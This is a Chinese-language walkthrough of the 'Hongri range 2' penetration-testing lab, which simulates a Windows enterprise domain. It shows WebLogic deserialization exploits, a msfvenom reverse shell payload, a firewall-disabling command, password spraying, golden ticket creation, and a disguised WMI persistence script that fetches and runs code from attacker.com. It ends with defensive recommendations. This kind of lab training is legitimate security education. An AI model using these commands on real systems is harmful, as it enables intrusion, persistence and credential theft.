1. 红日靶场2实战环境概述
红日靶场2是一个模拟企业内网环境的实战演练平台,主要面向网络安全从业人员和红队技术爱好者。这个靶场环境基于Windows Server 2012和Windows 7系统构建,包含域控制器(10.10.10.10)、Web服务器(10.10.10.80/192.168.161.80)和客户端PC(10.10.10.201/192.168.161.201)三个主要节点。
靶场设计的核心目标是让学习者掌握以下关键技术点:
- WebLogic中间件漏洞利用(CVE-2017-3506、CVE-2019-2725)
- 内网横向移动技术(SMB relay、EWS relay等)
- Windows认证机制绕过(NTLM、Access Token)
- 域渗透技术(黄金票据、白银票据、Sid History等)
- 权限维持方法(MOF后门等)
2. 外网渗透实战过程
2.1 目标识别与端口扫描
首先使用arp-scan对内网网段进行主机发现:
bash复制arp-scan -l
发现192.168.161.80和192.168.161.201两个活跃IP。通过简单的Web访问测试确认.80是Web服务器。
使用nmap进行详细端口扫描:
bash复制nmap -sS -sV -Pn -T4 192.168.161.80
关键参数说明:
-sS:SYN半开放扫描,速度快且隐蔽-sV:服务版本探测-Pn:跳过主机发现,直接扫描-T4:加速扫描过程
扫描结果显示开放端口:
- 139/445:SMB服务,可能存在永恒之蓝漏洞
- 1433:MSSQL服务,可能存在弱口令
- 3389:远程桌面
- 7001:WebLogic服务
2.2 WebLogic漏洞利用
访问7001端口发现WebLogic管理界面,使用WebLogicScan工具进行漏洞检测:
bash复制python WeblogicScan.py -u 192.168.161.80 -p 7001
检测到两个关键漏洞:
- CVE-2017-3506(XMLDecoder反序列化)
- CVE-2019-2725(异步响应服务漏洞)
2.2.1 CVE-2017-3506利用
使用专用漏洞利用工具:
bash复制java -jar WebLogic-XMLDecoder.jar -u http://192.168.161.80:7001 # 检测
java -jar WebLogic-XMLDecoder.jar -s http://192.168.161.80:7001 /wls-wsat/CoordinatorPortType11 shell.jsp # 上传Webshell
2.2.2 CVE-2019-2725利用
由于MSF模块默认payload不兼容Windows,需要手动生成PowerShell payload:
bash复制msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=4444 -f psh-cmd > shell.ps1
然后修改公开的Python利用脚本,将生成的payload替换原exploit变量内容,执行:
bash复制python3 exploit.py http://192.168.161.80:7001/_async/AsyncResponseServiceHttps
2.3 会话建立与权限提升
成功获取meterpreter会话后,第一要务是关闭目标防火墙:
cmd复制netsh advfirewall set allprofiles state off
使用C2工具进行持久化控制,生成Windows可执行payload并上传执行,实现稳定会话维持。
3. 内网渗透技术详解
3.1 内网信息收集
关键信息收集命令:
cmd复制systeminfo # 系统信息
ipconfig /all # 网络配置
net view /domain # 域信息
nltest /domain_trusts # 域信任关系
net group "Domain Admins" /domain # 域管理员列表
发现关键信息:
- 域控主机名:DC(10.10.10.10)
- 域管理员:Administrator
- 内网网段:10.10.10.0/24
3.2 横向移动技术
3.2.1 SMB Relay攻击
- 配置SMB监听器
- 使用Responder工具捕获哈希
- 使用NTLM relay工具进行横向移动
3.2.2 密码喷射攻击
使用获取的凭据尝试登录其他主机:
bash复制crackmapexec smb 10.10.10.0/24 -u administrator -p 'Password123' --continue-on-success
3.3 权限维持技术
3.3.1 黄金票据制作
获取域SID和krbtgt哈希后:
bash复制impacket-ticketer -nthash <krbtgt_hash> -domain-sid <SID> -domain <域名> administrator
3.3.2 WMI持久化
创建WMI事件订阅实现持久化:
powershell复制$filterArgs = @{
EventNamespace = 'root\cimv2'
Name = 'WindowsUpdateFilter'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
QueryLanguage = 'WQL'
}
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs
$consumerArgs = @{
Name = 'WindowsUpdateConsumer'
CommandLineTemplate = "cmd.exe /c powershell.exe -nop -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')\""
}
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $consumerArgs
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $filter
Consumer = $consumer
}
4. 防御建议与总结
4.1 防御措施
-
WebLogic防护:
- 及时安装安全补丁
- 禁用不必要的组件(如wls-wsat)
- 配置严格的访问控制
-
内网安全加固:
- 启用SMB签名
- 限制NTLM使用
- 实施网络分段
-
权限管理:
- 遵循最小权限原则
- 定期轮换特权账户密码
- 监控异常登录行为
4.2 实战经验总结
-
漏洞利用技巧:
- 多尝试不同漏洞利用工具,一个工具失败时立即尝试替代方案
- 注意payload与目标系统的兼容性(如Windows/Unix区别)
-
内网渗透要点:
- 信息收集要全面,特别是网络拓扑和权限结构
- 横向移动前先做好隧道和代理配置
- 优先获取域控权限,可以事半功倍
-
工具使用建议:
- C2工具比单纯meterpreter更适合复杂内网环境
- 善用密码喷射和哈希传递技术
- 权限维持要多样化,避免依赖单一方法
这个靶场完整模拟了从外网渗透到内网横向移动的全过程,特别是域环境的渗透测试技术。在实际攻防演练中,每个步骤都可能遇到各种防御措施,需要根据具体情况灵活调整攻击策略。